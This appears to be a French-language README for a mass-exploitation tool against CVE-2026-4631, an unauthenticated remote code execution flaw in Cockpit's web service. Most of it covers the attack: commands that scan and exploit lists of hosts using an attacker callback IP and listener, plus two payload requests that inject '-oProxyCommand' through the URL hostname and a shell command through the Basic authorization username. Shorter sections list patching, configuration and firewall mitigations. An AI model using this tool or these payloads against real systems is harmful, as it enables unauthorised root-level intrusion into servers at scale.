Exécution de code à distance non authentifiée via injection d'arguments en ligne de commande SSH Cockpit versions 327 – 359 | CVSS 9.8 Critique | CWE-78
Exécution de code à distance non authentifiée via injection d'argument de ligne de commande SSH Versions Cockpit 327 – 359 | CVSS 9.8 Critique | CWE-78
Outil d'exploitation de masse pour CVE-2026-4631 sur le service web Cockpit (cockpit-ws, port 9090). Prend en charge le mode scan de vulnérabilité, le mode RCE avec capture de sortie de commande via un écouteur de rappel HTTP intégré, le mode --auto (scan + exploitation en une seule fois avec la commande par défaut id), l'ajout automatique du port :9090 pour les cibles sans port, les deux vecteurs d'attaque (ProxyCommand + injection %r du nom d'utilisateur), les cibles multiples depuis un fichier, le threading concurrent et un résultat structuré.
Auteur : 0xNuts
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt
Modifiez targets.txt — un hôte par ligne. Le port :9090 est automatiquement ajouté s'il est absent :
192.168.1.10
cockpit.example.com
https://manage.lab.local
# Scan + exploitation en une seule fois, commande par défaut "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTAQUANT>
# Exemple de sortie dans results.txt :
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
# Scan de vulnérabilité uniquement (sans exploitation)
python3 exploit.py -f targets.txt --scan -o scan_results.txt
# RCE explicite avec commande personnalisée
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTAQUANT>
# Cible unique
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTAQUANT>
CVE-2026-4631 est un RCE aveugle — la sortie de la commande n'est pas renvoyée dans la réponse HTTP. L'outil utilise un écouteur HTTP intégré (port par défaut 8888) pour capturer la sortie. Assurez-vous :
--callback-ip est une IP accessible depuis la cible (pas 127.0.0.1)8888 (ou --listener-port personnalisé)# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws
# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws
# Vérifier la version (doit être >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}' # Debian
rpm -q cockpit-ws # RHEL
Modifiez /etc/cockpit/cockpit.conf :
[WebService]
LoginTo = false
Redémarrez le service :
sudo systemctl restart cockpit
Restreignez le port 9090 au seul réseau d'administration :
sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP
Atténue le vecteur 1 (injection ProxyCommand) via la validation précoce du nom d'hôte :
ssh -V # doit être OpenSSH_9.6 ou plus récent
Si la mise à niveau vers 360 n'est pas possible, appliquez les commits de correctif :
-- dans beiboot.py et cockpitauth.c-- dans session.pyDétail du correctif : voir docs/PATCH_ANALYSIS.md
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| Gravité | Critique (CVSS 9.8) |
| CWE | CWE-78 — Injection de commande système |
| Affecté | Cockpit 327 – 359 |
| Corrigé dans | Cockpit 360+ |
| Authentification requise | NON (pré-authentification) |
| Signaleur | Jelle van der Waa |
| Service | cockpit-ws, port par défaut 9090 |
Cockpit v327 a remplacé cockpit-ssh (libssh) par python3 -m cockpit.beiboot qui invoque le client ssh OpenSSH système. Des entrées contrôlées par l'utilisateur — le nom d'hôte du chemin URL et le nom d'utilisateur de l'en-tête Authorization: Basic — sont transmises à ssh sans assainissement et sans le séparateur de fin d'options --. L'injection se produit avant la vérification des identifiants, donc aucune connexion valide n'est nécessaire.
Le nom d'hôte du chemin URL est injecté avec l'option SSH -oProxyCommand=<cmd>.
GET /cockpit+=-oProxyCommand=<PAYLOAD_ENCODÉ_URL>/login HTTP/1.1
Host: cible:9090
Authorization: Basic base64("x:x")
SSH analyse -oProxyCommand=<cmd> comme une option, exécute <cmd> comme ProxyCommand. La commande s'exécute en tant que processus utilisateur cockpit-ws.
Prérequis : OpenSSH < 9.6 sur la cible. OpenSSH 9.6+ dispose d'une validation précoce du nom d'hôte qui bloque les métacaractères.
%r du nom d'utilisateur (Secondaire)Le nom d'utilisateur de l'en-tête Authorization: Basic est injecté avec une commande shell.
GET /cockpit+=hôte-légitime/login HTTP/1.1
Host: cible:9090
Authorization: Basic base64("x; <CMD>; #:x")
SSH développe %r avec le nom d'utilisateur dans la directive Match exec → le shell exécute la commande injectée.
Prérequis : le ssh_config de la cible possède une directive Match exec avec le jeton %r.
LoginTo) non désactivéessh_config avec Match exec %r# Cloner depuis GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
# Installer les dépendances
pip install -r requirements.txt
# Vérifier
python3 exploit.py --help
requests>=2.31 — client HTTP pour les requêtes d'exploitationcolorama>=0.4 — sortie terminal coloréeAucune dépendance supplémentaire pour l'écouteur (utilise les bibliothèques standard http.server + threading).